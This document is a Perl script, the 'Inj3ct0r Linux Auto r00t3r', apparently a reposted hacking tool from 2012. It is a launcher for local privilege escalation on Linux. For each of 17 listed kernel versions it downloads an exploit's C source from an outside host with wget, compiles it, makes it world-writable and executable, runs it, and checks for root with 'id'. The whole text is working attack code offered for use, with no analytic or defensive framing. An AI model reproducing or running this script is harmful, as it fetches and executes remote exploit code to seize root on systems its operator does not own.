abril 30, 2012
13:28

Inj3ct0r Linux Auto r00t3r

#!/usr/bin/perl
if(@ARGV < 1){
print q(
#--------------http://www.1337day.com-----------------#
# Inj3ct0r Linux Auto r00t3r                          #
# Coded by: Angel Injection                           #
# Version: 1.0                                        #
# Web Site: http://1337day.com , http://r00tw0rm.com  #
#-----------------------------------------------------#
#-------------------How To Use------------------------#
# Usage: perl inj3ct0r.pl localroot-2.6.43            #
# Usage: perl inj3ct0r.pl localroot-2.6.37-rc2        #
# Usage: perl inj3ct0r.pl localroot-2.6.39-32-64      #
# Usage: perl inj3ct0r.pl localroot-2.6.37            #
# Usage: perl inj3ct0r.pl localroot-2.6.33            #
# Usage: perl inj3ct0r.pl localroot-2.6.25            #
# Usage: perl inj3ct0r.pl localroot-2.6.23-24         #
# Usage: perl inj3ct0r.pl localroot-2.6.19            #
# Usage: perl inj3ct0r.pl localroot-2.6.18-194        #
# Usage: perl inj3ct0r.pl localroot-2.6.18-164        #
# Usage: perl inj3ct0r.pl localroot-2.6.18-20         #
# Usage: perl inj3ct0r.pl localroot-2.6.18-6-x86      #
# Usage: perl inj3ct0r.pl localroot-2.6.17-x86-i386   #
# Usage: perl inj3ct0r.pl localroot-2.6.13            #
# Usage: perl inj3ct0r.pl localroot-2.6.11            #
# Usage: perl inj3ct0r.pl localroot-2.6.9-34          #
# Usage: perl inj3ct0r.pl localroot-el5               #
#-------------http://1337day.com/submit---------------#
);exit;}
if ($ARGV[0] =~ "localroot-2.6.43" )
          {
     print "2) localroot 1.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.43.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.43.c -o localroot-2.6.43";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.43";
system "./localroot-2.6.43";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.37-rc2" )
          {
     print "2) localroot 2.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.37-rc2.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.37-rc2.c -o localroot-2.6.37-rc2";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.37-rc2";
system "./localroot-2.6.37-rc2";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.39-32-64" )
          {
     print "2) localroot 3.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.39-32-64.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.39-32-64.c -o localroot-2.6.39-32-64";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.39-32-64";
system "./localroot-2.6.39-32-64";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.37" )
          {
     print "2) localroot 4.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.37.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.37.c -o localroot-2.6.37";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.37";
system "./localroot-2.6.37";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.33" )
          {
     print "2) localroot 5.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.33.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.33.c -o localroot-2.6.33";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.33";
system "./localroot-2.6.33";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.25" )
          {
     print "2) localroot 6.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.25.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.25.c -o localroot-2.6.25";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.25";
system "./localroot-2.6.25";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.23-24" )
          {
     print "2) localroot 7.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.23-24.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.23-24.c -o localroot-2.6.23-24";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.23-24";
system "./localroot-2.6.23-24";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.19" )
          {
     print "2) localroot 8.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.19.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.19.c -o localroot-2.6.19";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.19";
system "./localroot-2.6.19";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.18-6-x86" )
          {
     print "2) localroot 9.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.18-6-x86.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.18-6-x86.c -o localroot-2.6.18-6-x86";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.18-6-x86";
system "./localroot-2.6.18-6-x86";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.18-20" )
          {
     print "2) localroot 10.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.18-20.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.18-20.c -o localroot-2.6.18-20";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.18-20";
system "./localroot-2.6.18-20";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.18-194" )
          {
     print "2) localroot 11.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.18-194.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.18-194.c -o localroot-2.6.18-194";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.18-194";
system "./localroot-2.6.18-194";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.18-164" )
          {
     print "2) localroot 12.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.18-164.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.18-164.c -o localroot-2.6.18-164";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.18-164";
system "./localroot-2.6.18-164";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.17-x86-i386" )
          {
     print "2) localroot 13.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.17-x86-i386.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.17-x86-i386.c -o localroot-2.6.17-x86-i386";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.17-x86-i386";
system "./localroot-2.6.17-x86-i386";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.13" )
          {
     print "2) localroot 14.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.13";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.13.c -o localroot-2.6.13";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.13";
system "./localroot-2.6.13";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.11" )
          {
     print "2) localroot 15.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.11.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.11.c -o localroot-2.6.11";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.11";
system "./localroot-2.6.11";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-2.6.9-34" )
          {
     print "2) localroot 16.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-2.6.9-34.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-2.6.9-34.c -o localroot-2.6.9-34";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-2.6.9-34";
system "./localroot-2.6.9-34";
print "Completed\n";
system "id";
     }
if ($ARGV[0] =~ "localroot-el5" )
          {
     print "2) localroot 17.\n";
system "pwd";
system "wget http://inj3ct0rs.co.cc/t00ls/localroots/localroot-el5.c";
sleep(2);
print "Download Completed\n";
system "gcc localroot-el5.c -o localroot-el5";
sleep(2);
print "gcc Completed\n";
system "chmod 777 localroot-el5";
system "./localroot-el5";
print "Completed\n";
system "id";
     }